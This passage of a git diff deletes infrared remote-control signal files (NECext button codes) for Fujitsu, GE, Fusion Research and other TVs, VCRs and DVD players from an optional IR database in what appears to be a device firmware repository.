parsed -protocol: NECext -address: 84 8D 00 00 -command: 58 00 00 00 -# -name: . -type: parsed -protocol: NECext -address: 84 8D 00 00 -command: 58 00 00 00 -# -name: FAVORITE -type: parsed -protocol: NECext -address: 84 8D 00 00 -command: 5A 00 00 00 -# -name: INFO -type: parsed -protocol: NECext -address: 84 8D 00 00 -command: 5B 00 00 00 -# -name: GUIDE -type: parsed -protocol: NECext -address: 84 8D 00 00 -command: 5C 00 00 00 -# -name: CC -type: parsed -protocol: NECext -address: 84 8D 00 00 -command: 5D 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fujitsu/Plasma/140,132.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fujitsu/Plasma/140,132.ir deleted file mode 100644 index 3ddfe00bd..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fujitsu/Plasma/140,132.ir +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: WIDE_1 -type: parsed -protocol: NECext -address: 8C 84 00 00 -command: 13 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fujitsu/TV/132,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fujitsu/TV/132,-1.ir deleted file mode 100644 index 20a756a8b..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fujitsu/TV/132,-1.ir +++ /dev/null @@ -1,80 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: POWER_-_ON -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 01 00 00 00 -# -name: POWER_-_OFF -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 02 00 00 00 -# -name: INPUT_-_VIDEO -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 05 00 00 00 -# -name: INPUT_-_RGB -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 08 00 00 00 -# -name: VOLUME_-_UP -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 20 00 00 00 -# -name: VOLUME_-_DOWN -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 21 00 00 00 -# -name: CURSOR_-_LEFT -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 3E 00 00 00 -# -name: CURSOR_-_RIGHT -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 3F 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 40 00 00 00 -# -name: CURSOR_-_UP -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 41 00 00 00 -# -name: CURSOR_-_DOWN -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 42 00 00 00 -# -name: CURSOR_-_ENTER -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 5B 00 00 00 -# -name: WIDE -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 80 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fujitsu/Unknown_CP300375-01/4,15.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fujitsu/Unknown_CP300375-01/4,15.ir deleted file mode 100644 index 939b69f29..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fujitsu/Unknown_CP300375-01/4,15.ir +++ /dev/null @@ -1,242 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 09 00 00 00 -# -name: KEY_CLEAR -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 0A 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 0B 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 0C 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 0D 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 0E 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 0F 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 10 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 11 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 12 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 13 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 14 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 15 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 16 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 17 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 18 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 19 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 1A 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 1B 00 00 00 -# -name: KEY_DIGITS -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 1C 00 00 00 -# -name: KEY_KPASTERISK -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 1D 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 1E 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 1F 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 20 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 21 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 22 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 23 00 00 00 -# -name: KEY_DVD -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 24 00 00 00 -# -name: KEY_TV -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 25 00 00 00 -# -name: KEY_LIST -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 26 00 00 00 -# -name: KEY_TV2 -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 48 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fujtech/Unknown_DVB-T/3,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fujtech/Unknown_DVB-T/3,-1.ir deleted file mode 100644 index c413e0dca..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fujtech/Unknown_DVB-T/3,-1.ir +++ /dev/null @@ -1,110 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 02 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 03 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 04 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 05 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 08 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 09 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 0B 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 0D 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 10 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 11 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 14 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 15 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 16 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 17 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 1A 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 1C 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 1D 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 1F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fusion Research/DVD Server/17,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fusion Research/DVD Server/17,-1.ir deleted file mode 100644 index bd6f292ba..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fusion Research/DVD Server/17,-1.ir +++ /dev/null @@ -1,212 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 0 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 40 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 41 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 42 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 43 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 44 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 45 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 46 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 47 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 48 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 49 00 00 00 -# -name: POWER_-_EJECT -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 4A 00 00 00 -# -name: BLANK_BUTTON -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 4B 00 00 00 -# -name: DVD_MENU_/_LEFT_+ -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 4C 00 00 00 -# -name: RIGHT_+ -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 4D 00 00 00 -# -name: LEFT_- -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 4E 00 00 00 -# -name: RIGHT_- -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 4F 00 00 00 -# -name: ARROW_UP -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 50 00 00 00 -# -name: ARROW_LEFT -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 51 00 00 00 -# -name: OK -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 52 00 00 00 -# -name: ARROW_RIGHT -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 53 00 00 00 -# -name: ARROW_DN -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 54 00 00 00 -# -name: OSD_MENU -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 55 00 00 00 -# -name: EXIT -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 56 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 57 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 58 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 59 00 00 00 -# -name: SKIP_<< -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 5A 00 00 00 -# -name: SKIP_>> -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 5B 00 00 00 -# -name: RECORD -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 5C 00 00 00 -# -name: SCAN_<< -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 5D 00 00 00 -# -name: SCAN_>> -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 5E 00 00 00 -# -name: RED_-_COVER_ART -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 60 00 00 00 -# -name: GREEN_-_LIST -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 61 00 00 00 -# -name: YELLOW_-_FAV -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 62 00 00 00 -# -name: BLUE_-_SORT -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 63 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/GAMEFACTORY/Unknown_PS2DVD/0,246.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/GAMEFACTORY/Unknown_PS2DVD/0,246.ir deleted file mode 100644 index c5fbb0644..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/GAMEFACTORY/Unknown_PS2DVD/0,246.ir +++ /dev/null @@ -1,110 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_SELECT -type: parsed -protocol: NECext -address: 00 F6 00 00 -command: 00 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 00 F6 00 00 -command: 01 00 00 00 -# -name: KEY_TITLE -type: parsed -protocol: NECext -address: 00 F6 00 00 -command: 02 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 00 F6 00 00 -command: 03 00 00 00 -# -name: KEY_PLAYPAUSE -type: parsed -protocol: NECext -address: 00 F6 00 00 -command: 04 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 00 F6 00 00 -command: 05 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 00 F6 00 00 -command: 06 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 00 F6 00 00 -command: 07 00 00 00 -# -name: PREVIOUS_CHAPTER -type: parsed -protocol: NECext -address: 00 F6 00 00 -command: 08 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 00 F6 00 00 -command: 09 00 00 00 -# -name: CHANGE_SUBTITLE -type: parsed -protocol: NECext -address: 00 F6 00 00 -command: 0A 00 00 00 -# -name: FORWARD_SEARCH -type: parsed -protocol: NECext -address: 00 F6 00 00 -command: 0B 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 00 F6 00 00 -command: 0C 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 00 F6 00 00 -command: 0D 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 00 F6 00 00 -command: 0E 00 00 00 -# -name: CHANGE_SOUND/MUSIC -type: parsed -protocol: NECext -address: 00 F6 00 00 -command: 0F 00 00 00 -# -name: GAME/REMOTE -type: parsed -protocol: NECext -address: 00 F6 00 00 -command: 10 00 00 00 -# -name: SPECIAL -type: parsed -protocol: NECext -address: 00 F6 00 00 -command: 11 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/GE/TV/15,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/GE/TV/15,-1.ir deleted file mode 100644 index bfb1a239b..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/GE/TV/15,-1.ir +++ /dev/null @@ -1,302 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: CLEAR -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 06 00 00 00 -# -name: DONE -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 06 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 08 00 00 00 -# -name: RESET -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 12 00 00 00 -# -name: PREV_CHANNEL -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 27 00 00 00 -# -name: PREV_CH -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 27 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 2A 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 2A 00 00 00 -# -name: CHANNEL_- -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 2C 00 00 00 -# -name: CHANNEL_- -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 2C 00 00 00 -# -name: CURSOR_V -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 2C 00 00 00 -# -name: CHANNEL_+ -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 2D 00 00 00 -# -name: CHANNEL_+ -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 2D 00 00 00 -# -name: CURSOR_^ -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 2D 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 2E 00 00 00 -# -name: CURSOR_- -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 2E 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 2F 00 00 00 -# -name: CURSOR_+ -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 2F 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 2F 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 30 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 30 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 31 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 31 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 32 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 32 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 33 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 33 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 34 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 34 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 35 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 35 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 36 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 36 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 37 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 37 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 38 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 38 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 39 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 39 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 3A 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 3B 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 3C 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 3C 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 3F 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 3F 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 52 00 00 00 -# -name: SKIP -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 53 00 00 00 -# -name: SKIP:30 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 53 00 00 00 -# -name: INPUT_SOURCE -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: A3 00 00 00 -# -name: INPUT -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: A3 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/GE/VCR/11,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/GE/VCR/11,-1.ir deleted file mode 100644 index a3c6c9842..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/GE/VCR/11,-1.ir +++ /dev/null @@ -1,14 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: CHANEL_UP -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 10 00 00 00 -# -name: CHANEL_DN -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 11 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/GE/VCR/14,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/GE/VCR/14,-1.ir deleted file mode 100644 index c43f988a7..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/GE/VCR/14,-1.ir +++ /dev/null @@ -1,230 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: tv_vcr -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 05 00 00 00 -# -name: clear_reset -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 06 00 00 00 -# -name: program -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 08 00 00 00 -# -name: tracking_left -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 0A 00 00 00 -# -name: tracking_right -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 0B 00 00 00 -# -name: KEY_SLOW -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 10 00 00 00 -# -name: counter_memory -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 12 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 15 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 15 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 17 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 17 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 19 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 1C 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 1D 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 1D 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 1D 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 1F 00 00 00 -# -name: add_delete -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 24 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 2A 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 2C 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 2D 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 30 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 31 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 32 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 33 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 34 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 35 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 36 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 37 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 38 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 39 00 00 00 -# -name: display -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 3C 00 00 00 -# -name: KEY_EJECTCD -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 40 00 00 00 -# -name: otr_start -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 44 00 00 00 -# -name: otr_length -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 45 00 00 00 -# -name: speed -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 46 00 00 00 -# -name: input -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 47 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: D1 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/GE/VCR/26,73.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/GE/VCR/26,73.ir deleted file mode 100644 index 73c44fac1..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/GE/VCR/26,73.ir +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: TV/VCR -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 1A 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/GE/VCR_VKFS0938/14,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/GE/VCR_VKFS0938/14,-1.ir deleted file mode 100644 index dbc8a4ff1..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/GE/VCR_VKFS0938/14,-1.ir +++ /dev/null @@ -1,224 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: tv_vcr -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 05 00 00 00 -# -name: clear_reset -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 06 00 00 00 -# -name: program -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 08 00 00 00 -# -name: tracking_down -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 0A 00 00 00 -# -name: tracking_up -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 0B 00 00 00 -# -name: KEY_SLOW -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 10 00 00 00 -# -name: dup_forward_advance -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 10 00 00 00 -# -name: counter_memory -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 12 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 15 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 17 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 19 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 1C 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 1D 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 1F 00 00 00 -# -name: add_delete -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 24 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 2A 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 2C 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 2D 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 30 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 31 00 00 00 -# -name: time_am -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 31 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 32 00 00 00 -# -name: time_pm -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 32 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 33 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 34 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext 